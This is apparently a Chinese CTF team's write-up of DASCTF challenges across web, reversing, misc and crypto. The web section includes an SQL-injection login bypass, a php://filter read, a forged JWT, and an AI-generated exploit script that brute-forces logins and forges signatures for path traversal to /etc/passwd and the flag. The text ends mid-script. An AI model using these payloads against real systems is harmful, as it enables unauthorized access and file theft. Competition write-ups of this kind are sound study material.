我们是冠军!!!

img

img

inkey113 + misc最后时刻绝杀

img

Web

SecretPhotoGallery

1
2
3
用户名:admin
密码:-1' union select 1,2,3 --+
绕过登录进入

然后查看源码发现注释1,应该是jwt密钥 GALLERY2024SECRET

img

然后得到admin访问 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTIyNTR9.bCHvNXksavEel3wGMknzge7Erwp0PySoVx_UpLQnSKs

img

利用base64 filter发现被ban,使用

1
php://filter/read=convert.iconv.utf8.utf16/resource=flag.php

得到flag

img

devweb

Gemini 3 pro一把梭哈

信息收集

首先访问题目链接,发现是一个基于 Vite 构建的前端应用。

通过查看页面源代码或网络请求,我们下载了主 JS 文件 assets/index-BgDOi0T5.js 进行分析。

关键发现

  1. RSA 公钥与登录逻辑: 在 JS 文件中发现了硬编码的 RSA 公钥。登录逻辑是将密码使用 RSA 加密后发送到后端。
1
2
3
4
// JS 中发现的公钥(格式化后)
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
-----END PUBLIC KEY-----
  1. 路由与敏感接口: 通过搜索 dashboarddownload 等关键字,在 JS 中发现了一个文件下载功能的组件定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
const Fd = {
data() {
return {
fileList: [{ name: "app.jmx" }, { name: "index.html" }]
}
},
methods: {
downloadFile(t) {
// 关键逻辑:下载请求带有 sign 参数
window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
}
}

漏洞利用

步骤 1:弱口令登录(非必须但有助于理解)

编写脚本使用 RSA 公钥加密密码,尝试常用弱口令。发现 admin / 123456 可以成功登录,服务器返回 302 跳转到 /dashboard。 虽然访问 /dashboard 返回 404,但我们在 JS 中发现的下载接口 /download 不需要登录态(或者我们已经获得了 Session,但其实这题的核心在于签名绕过)。

步骤 2:获取并分析 app.jmx

JS 代码中泄露了一个合法的文件名和签名组合:

  • File: app.jmx
  • Sign: 6f742c2e79030435b7edc1d79b8678f6

我们直接访问 http://target/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 下载该文件。

打开 app.jmx (JMeter 测试计划文件),在其中发现了一段 Groovy 脚本,揭示了签名的生成算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>

步骤 3:重构签名算法与任意文件读取

根据上述逻辑,我们可以编写 Python 脚本来生成任意文件名的签名。

签名算法 (Python 实现):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib

def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"

# 1. 计算文件名的 MD5
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()

# 2. 截取子串 (对应 Java 的 substring(5, 16))
# Python 切片是 [start:end],所以是 [5:16]
jie_str = first_mi[5:16]

# 3. 拼接:MD5 + 子串 + 盐
new_str = first_mi + jie_str + salt

# 4. 最终签名
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign

步骤 4:获取 Flag

利用签名生成脚本,我们尝试目录穿越读取 Flag。

尝试 Payload: ../../flag

  1. 计算 ../../flag 的签名。
  2. 发送请求: /download?file=../../flag&sign=YOUR_CALCULATED_SIGN

响应内容:

DASCTF{21a8d433-4689-4e8e-9818-9ae50d48243a}}

img

Gemini 3 pro给的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from urllib.parse import quote

# 加载公钥
with open('public.pem', 'r') as f:
key_data = f.read()
public_key = RSA.importKey(key_data)
cipher = PKCS1_v1_5.new(public_key)

def encrypt_password(password):
# RSA 加密
ciphertext = cipher.encrypt(password.encode('utf-8'))
# 转 Base64
return base64.b64encode(ciphertext).decode('utf-8')

def try_login(username, password_plaintext):
url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
encrypted_pass = encrypt_password(password_plaintext)

# 构造 payload
# 注意 requests 的 data 参数如果是字典,会自动 urlencode
data = {
'username': username,
'password': encrypted_pass
}

try:
response = requests.post(url, data=data, allow_redirects=False)
location = response.headers.get('Location', 'No Location')
print(f"User: {username}, Pass: {password_plaintext} -> Status: {response.status_code}, Loc: {location}")
if response.status_code != 200 and response.status_code != 302:
print(f"Response: {response.text[:200]}")
if "flag" in response.text or "DASCTF" in response.text:
print(f"POSSIBLE FLAG FOUND: {response.text}")
return response
except Exception as e:
print(f"Error: {e}")

# 测试用例
credentials = [
('admin', 'admin'),
('admin', '123456'),
('root', 'root'),
('guest', 'guest'),
('test', 'test')
]

print("Testing common credentials...")
for u, p in credentials:
try_login(u, p)

print("\n--- Exploiting ---")
# 创建 session 保持 cookie
s = requests.Session()

url_login = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
password_plaintext = '123456'
encrypted_pass = encrypt_password(password_plaintext)
data = {
'username': 'admin',
'password': encrypted_pass
}

# 登录
response = s.post(url_login, data=data, allow_redirects=False)
print(f"Login Status: {response.status_code}")
print(f"Location: {response.headers.get('Location')}")
print(f"Cookies: {s.cookies.get_dict()}")

# 如果有 Location,提取并访问
if 'Location' in response.headers:
# Location 返回的是 http://...:80/... 我们需要改成 :81
# 或者直接提取路径
loc = response.headers['Location']
# 修正端口问题,如果 Location 里端口丢了或者不对
if ':81' not in loc and 'buuoj.cn' in loc:
loc = loc.replace('buuoj.cn', 'buuoj.cn:81')

print(f"Accessing: {loc}")
dashboard_response = s.get(loc)
print(f"Dashboard Status: {dashboard_response.status_code}")
print(f"Dashboard Content Preview: {dashboard_response.text[:500]}")

if "flag" in dashboard_response.text or "DASCTF" in dashboard_response.text:
print(f"FLAG FOUND IN DASHBOARD: {dashboard_response.text}")

import hashlib

def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"

# firstMi = md5(filename)
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()

# jieStr = firstMi.substring(5, 16)
# Java substring(5, 16) -> indices 5 to 15
jie_str = first_mi[5:16]

# newStr = firstMi + jieStr + salt
new_str = first_mi + jie_str + salt

# sign = md5(newStr)
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()

return sign

# 验证 app.jmx 的签名
expected_sign = "6f742c2e79030435b7edc1d79b8678f6"
calculated_sign = calculate_sign("app.jmx")
print(f"\n--- Sign Verification ---")
print(f"File: app.jmx")
print(f"Expected: {expected_sign}")
print(f"Calculated: {calculated_sign}")

if expected_sign == calculated_sign:
print("Sign algorithm verified!")
else:
print("Sign algorithm mismatch! Check logic.")

def download_file(filename):
print(f"\nAttempting to download {filename}...")
sign = calculate_sign(filename)
download_url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/download'
params = {
'file': filename,
'sign': sign
}
try:
# 使用 session
file_resp = s.get(download_url, params=params)
print(f"Download Status: {file_resp.status_code}")
if file_resp.status_code == 200:
print(f"Content Preview:\n{file_resp.text[:500]}")
if "DASCTF" in file_resp.text or "flag{" in file_resp.text:
print(f"FLAG FOUND: {file_resp.text}")
return True
else:
print(f"Download failed: {file_resp.text}")
return False
except Exception as e:
print(f"Download error: {e}")
return False

# 尝试下载 flag
if expected_sign == calculated_sign:
targets = [
"flag",
"/flag",
"../flag",
"../../flag",
"../../../flag",
"../../../../flag",
"../../../../../../flag",
"/etc/passwd",
"c:/windows/win.ini" # 如果是 Windows
]

for t in targets:
if download_file(t):
break

Re

androidfile

简单的混淆jeb直接解

img

rc4解密得到RSA加密过的key和iv

img

RSA解密得到AES的key和iv

img

解密

img

ezmac

1
2
3
4
a = [0x7D,0x7B,0x68,0x7F,0x69,0x78,0x44,0x78,0x72,0x21,0x74,0x76,0x75,0x22,0x26,0x7B,0x7C,0x7E,0x78,0x7A,0x2E,0x2D,0x7F,0x2D]
for i in range(len(a)):
a[i] = a[i] ^ (57 + i)
print(''.join([chr(x) for x in a]))

login

简单的cs架构,通过RSA + rc4传输数据

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP # <--- 改用 OAEP
import binascii

real_n_hex = "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"

real_d_hex = "28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69"

e = 65537
n = int(real_n_hex, 16)
d = int(real_d_hex, 16)

def decrypt_oaep(hex_ciphertext):
rsa_key = RSA.construct((n, e, d))

cipher = PKCS1_OAEP.new(rsa_key)

try:
if isinstance(hex_ciphertext, str):
hex_ciphertext = hex_ciphertext.replace(" ", "").replace("\n", "")
c_bytes = binascii.unhexlify(hex_ciphertext)
else:
c_bytes = hex_ciphertext

plaintext = cipher.decrypt(c_bytes)
return plaintext
except Exception as err:
return f"Error: {err}"

def rc4_crypt(key, data):
S = list(range(256))
j = 0
out = bytearray()
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
tmp = S[(S[i] + S[j]) % 256]
print(hex(tmp))
out.append(char ^ tmp)
return bytes(out)

if __name__ == "__main__":

hex_input = input("Hex > ").strip()

layer1_key = b"qwertyui"
enc_bytes = binascii.unhexlify(hex_input)
layer2_cipher = rc4_crypt(layer1_key, enc_bytes)
layer2_cipher = enc_bytes

res = decrypt_oaep(layer2_cipher)
print(f"{res}")

img

androidfff

blutter解一下

img

简单的异或

img

1
2
3
tagged = [236,230,194,226,204,232,146,168,188,142,140,140,174,128,218,182,130,218,130,186,218,174,166,130,150,158]
plain = [(x >> 1) ^ 50 for x in tagged]
print(''.join(map(chr, plain)))

Misc

DigitalSignature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from eth_account import Account
from eth_account.messages import encode_defunct

message_text = "Find out the signer. Flag is account address that wrapped by DASCTF{}."
signature = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"

# Encode the message as it was done in the task
message = encode_defunct(text=message_text)

# Recover the address
address = Account.recover_message(message, signature=signature)

print(f"Recovered Address: {address}")
print(f"Flag: DASCTF{{{address}}}")

stegh小鬼

img

快乐小鬼十六进制逆序

img

文字提取

img

key解密压缩包

img

这好像是emoji-aes加密,但是我没有密码

img

图片里面还有一张图片,提取出来

exif有新佛曰但是挂了,hint给了pass:2333333

使用2333333在steghide提取出pass.txt

img

是一段颜文字和不知所云的emoji

img

应该是aaencode隐写但是出题人加上了一些emoji ,删掉emoji解密获得

img

好的我去看图片中间?

并非图片中间

pass.txt里面删掉颜文字得到👋👟👠👪👖🐨👪👖👇🐫👪👪👮🐧👩👛

拿去base100解码

img

得到emoji-aes的密码 This_1s_P4ssw0rd

将flag.txt解码即可

img

Steganography_challenges0.2

img

根据图片尾部信息解密图像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image
from Crypto.Cipher import ARC4
import os

def decrypt_image(input_path, output_path):
if not os.path.exists(input_path):
print(f"Error: {input_path} not found.")
return

img = Image.open(input_path).convert('RGB')
width, height = img.size
new_img = Image.new('RGB', (width, height))

key = 'monkey'

cipher_temp = ARC4.new(key.encode())
keystream = cipher_temp.encrypt(b'\x00' * 3)

print(f"Keystream for first 3 bytes: {list(keystream)}")

pixels = img.load()
new_pixels = new_img.load()

for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]

# XOR with keystream
dr = r ^ keystream[0]
dg = g ^ keystream[1]
db = b ^ keystream[2]

new_pixels[x, y] = (dr, dg, db)

new_img.save(output_path)
print(f"Decrypted image saved to {output_path}")

if __name__ == "__main__":
decrypt_image('Steganography_challenges0.2.png', 'decrypted_flag.png')

应该是lsb,因为我看rgb的0通道都有奇怪的玩意

img

中间有一坨很诡异的东西

img

但是提取出来是乱码(有一部分明文)

img

后来发现是虽然lsb,但是rgb交替读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np

img = Image.open("decrypted_flag.png")
if img.mode != "RGB":
img = img.convert("RGB")

left, top = 1243, 1243
right, bottom = 1258, 1255
w, h = img.size

cropped = img.crop((left, top, right, bottom))
rgb_array = np.array(cropped)
pixels_flat = rgb_array.reshape(-1, 3)

for i in pixels_flat:
for j in i:
lsb = j % 2
print(lsb, end="")

# 010010010111010000100000011100110110010101100101011011010111001100100000011101000110100001100001011101000010000001111001011011110111010100100000011000010111001001100101001000000111001001100101011000010110110001101100011110010010000001100001001000000111001101110100011001010110011101011111011011010110000101110011011101000110010101110010001011000110101101100101011110010010000001101001011100110010000001001111011101100110010101110010011100110110100101111010011001010110010001011111011000110110100001101001011100000111001111111111111111111111

得到密码 Oversized_chips

img

继续lsb但是带密码,得到一个图片

img

img

查看了一下各通道信息

img

这个对称特征太明显了。可以判断是盲水印

img

Crypto

lost LFSR key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
from Crypto.Util.number import *

mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506

# Convert mask to bits (list of 0/1, LSB at index 0)
mask_bits = [(mask >> i) & 1 for i in range(64)]

# Construct Transition Matrix T (64x64)
# S_{t+1} = T * S_t
# S = [s_0, ..., s_63]^T
# s'_{0} = sum(s_i * m_i)
# s'_{j} = s_{j-1} for j > 0

T = []
# Row 0: mask bits
T.append(mask_bits)
# Rows 1..63: Identity shifted
for i in range(1, 64):
row = [0] * 64
row[i-1] = 1
T.append(row)

# Matrix multiplication over GF(2)
def mat_mul(A, B):
# A is mxn, B is nxp
# Result is mxp
m = len(A)
n = len(A[0])
p = len(B[0])
C = [[0]*p for _ in range(m)]
for i in range(m):
for j in range(p):
val = 0
for k in range(n):
val ^= A[i][k] & B[k][j]
C[i][j] = val
return C

def mat_vec_mul(A, v):
# A is mxn, v is n
m = len(A)
n = len(A[0])
res = [0] * m
for i in range(m):
val = 0
for k in range(n):
val ^= A[i][k] & v[k]
res[i] = val
return res

# Fast exponentiation for matrix?
# We need T^0, T^8, T^16 ...
# Better to just compute T, T^2, T^3... iteratively?
# Or just compute T^8 and then powers of T^8.
# Let's compute T_8 = T^8

def mat_pow(A, p):
res = [[0]*64 for _ in range(64)]
for i in range(64): res[i][i] = 1
base = A
while p > 0:
if p & 1:
res = mat_mul(res, base)
base = mat_mul(base, base)
p >>= 1
return res

print("Computing T^8...")
T8 = mat_pow(T, 8)

# We need to set up equations.
# Unknowns: S_0 (64 bits)
# Equations: O_{8k} = known_bit_k
# O_t = M_vec * S_t = M_vec * T^t * S_0
# O_{8k} = M_vec * (T^8)^k * S_0
# Let Row_k = M_vec * (T^8)^k
# We form a matrix Z where rows are Row_k.

Z = []
Y = []

# M_vec is just mask_bits (as a row vector? No, dot product is sum(s_i m_i))
# Yes, M_vec corresponds to the coefficients for s_0...s_63 to get O_t.
# O_t = sum(s_{t,i} * m_i)
# So the projection vector is mask_bits.

current_transform = [[0]*64 for _ in range(64)]
for i in range(64): current_transform[i][i] = 1 # Identity

# We need O_0, O_8, ..., O_{504}
# O_0 = M_vec * I * S_0
# O_8 = M_vec * T^8 * S_0
# ...

# Convert c to bytes to get target bits
c_bytes = long_to_bytes(c, 64)
# c_bytes[0] corresponds to O_0..O_7
# MSB of c_bytes[k] is O_{8k} ^ MSB(flag[k])
# Assuming MSB(flag[k]) == 0 (ASCII)
# Target bit = MSB(c_bytes[k]) = (c_bytes[k] >> 7) & 1

# Precompute T^2 and M_vec_2
T2 = mat_pow(T, 2)
# M_vec is mask_bits
# M_vec_2 = M_vec * T^2
M_vec_2 = [0] * 64
for j in range(64):
val = 0
for l in range(64):
val ^= mask_bits[l] & T2[l][j]
M_vec_2[j] = val

print("Building equations...")
for k in range(64):
# Calculate Row_k = M_vec * current_transform (For Bit 7)
row_k = [0] * 64
for j in range(64):
val = 0
for l in range(64):
val ^= mask_bits[l] & current_transform[l][j]
row_k[j] = val

Z.append(row_k)

# Target bit (MSB, bit 7)
target_7 = (c_bytes[k] >> 7) & 1
Y.append(target_7)

# Update transform for next step: multiply by T^8
current_transform = mat_mul(T8, current_transform)

# Solve Z * S_0 = Y
# Gaussian elimination
print("Solving linear system...")

rows = len(Z)
cols = 64
# Augmented matrix
aug = [Z[i] + [Y[i]] for i in range(rows)]

# Check rank
rank = 0
for col_idx in range(cols):
pivot = -1
for j in range(rank, rows):
if aug[j][col_idx] == 1:
pivot = j
break

if pivot != -1:
aug[rank], aug[pivot] = aug[pivot], aug[rank]
for j in range(rows):
if rank != j and aug[j][col_idx] == 1:
for l in range(col_idx, cols + 1):
aug[j][l] ^= aug[rank][l]
rank += 1

print(f"Rank: {rank}")
if rank < 64:
print("System is underdetermined. Multiple solutions exist.")
else:
print("System is determined.")

# Identify pivot columns and free columns
pivots = {} # col -> row
free_cols = []
for r in range(rank):
# Find the pivot column for this row
for col_idx in range(cols):
if aug[r][col_idx] == 1:
pivots[col_idx] = r
break

for col_idx in range(cols):
if col_idx not in pivots:
free_cols.append(col_idx)

print(f"Free columns: {free_cols}")

# Function to reconstruct seed from solution vector
def vec_to_seed(vec):
s = 0
for i in range(64):
if vec[i]:
s |= (1 << i)
return s

# Solution 1: Free variables = 0
sol1 = [0] * 64
for col_idx in pivots:
r = pivots[col_idx]
sol1[col_idx] = aug[r][64] # The constant term
# Free cols are 0 by default

seed1 = vec_to_seed(sol1)
print(f"Seed 1: {seed1}")

# Solution 2: Free variable = 1 (assuming only 1 free col)
if len(free_cols) == 1:
fc = free_cols[0]
sol2 = list(sol1)
sol2[fc] = 1 # Set free variable to 1

# Update pivot variables
# For each row, x_pivot + x_free * coeff = constant
# x_pivot = constant - x_free * coeff
# If x_free flips 0->1, x_pivot flips if coeff is 1
for r in range(rank):
# Find pivot col for this row
pc = -1
for col_idx in range(cols):
if aug[r][col_idx] == 1:
pc = col_idx
break

if aug[r][fc] == 1:
sol2[pc] ^= 1

seed2 = vec_to_seed(sol2)
print(f"Seed 2: {seed2}")
seeds = [seed1, seed2]
else:
seeds = [seed1]

# Verify and decrypt for all seeds
class myRNG():
def __init__(self, seed, mask):
self.seed = seed
self.mask = mask

def next(self):
i = self.seed & self.mask
Out = 0
while i != 0:
Out = Out ^ (i & 1)
i = i >> 1
self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
return Out

def get_myRNG_randbits(self,n):
temp = 0
for i in range(n):
temp = (temp << 1) | self.next()
return temp

for s in seeds:
print(f"Testing seed: {s}")
gen = myRNG(s, mask)
print(f"Mask used: {gen.mask}")
print(f"C hex: {hex(c)}")
key = gen.get_myRNG_randbits(64*8)
print(f"Key hex: {hex(key)}")
flag_int = c ^ key
flag = long_to_bytes(flag_int)
print(f"Flag hex: {flag.hex()}")
try:
print(f"Flag: DASCTF{{{flag.decode()}}}")
except:
print(f"Flag: DASCTF{{{flag}}}")


for i in range(cols):
# Find pivot
pivot = -1
for j in range(i, rows):
if aug[j][i] == 1:
pivot = j
break

if pivot == -1:
continue # Free variable? Or dependent.

# Swap
aug[i], aug[pivot] = aug[pivot], aug[i]

# Eliminate
for j in range(rows):
if i != j and aug[j][i] == 1:
for l in range(i, cols + 1):
aug[j][l] ^= aug[i][l]

# Extract solution
solution = [0] * 64
for i in range(64):
solution[i] = aug[i][64]

# Reconstruct seed
seed = 0
for i in range(64):
if solution[i]:
seed |= (1 << i)

print(f"Recovered seed: {seed}")

# Verify and decrypt
class myRNG():
def __init__(self, seed, mask):
self.seed = seed
self.mask = mask

def next(self):
i = self.seed & self.mask
Out = 0
while i != 0:
Out = Out ^ (i & 1)
i = i >> 1
self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
return Out

def get_myRNG_randbits(self,n):
temp = 0
for i in range(n):
temp = (temp << 1) | self.next()
return temp

gen = myRNG(seed, mask)
key = gen.get_myRNG_randbits(64*8)
flag_int = c ^ key
flag = long_to_bytes(flag_int)
print(f"Flag: DASCTF{{{flag.decode(errors='ignore')}}}")

two_examples

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import json
from hashlib import sha512
from Crypto.Util.number import long_to_bytes

# Load data
with open('M.matrix', 'r') as f:
data_m = json.load(f)
A_list = eval(data_m['A'])
B_list = eval(data_m['B'])
p = int(data_m['p'])

with open('v.vector', 'r') as f:
data_v = json.load(f)
b1_list = eval(data_v['b1'])
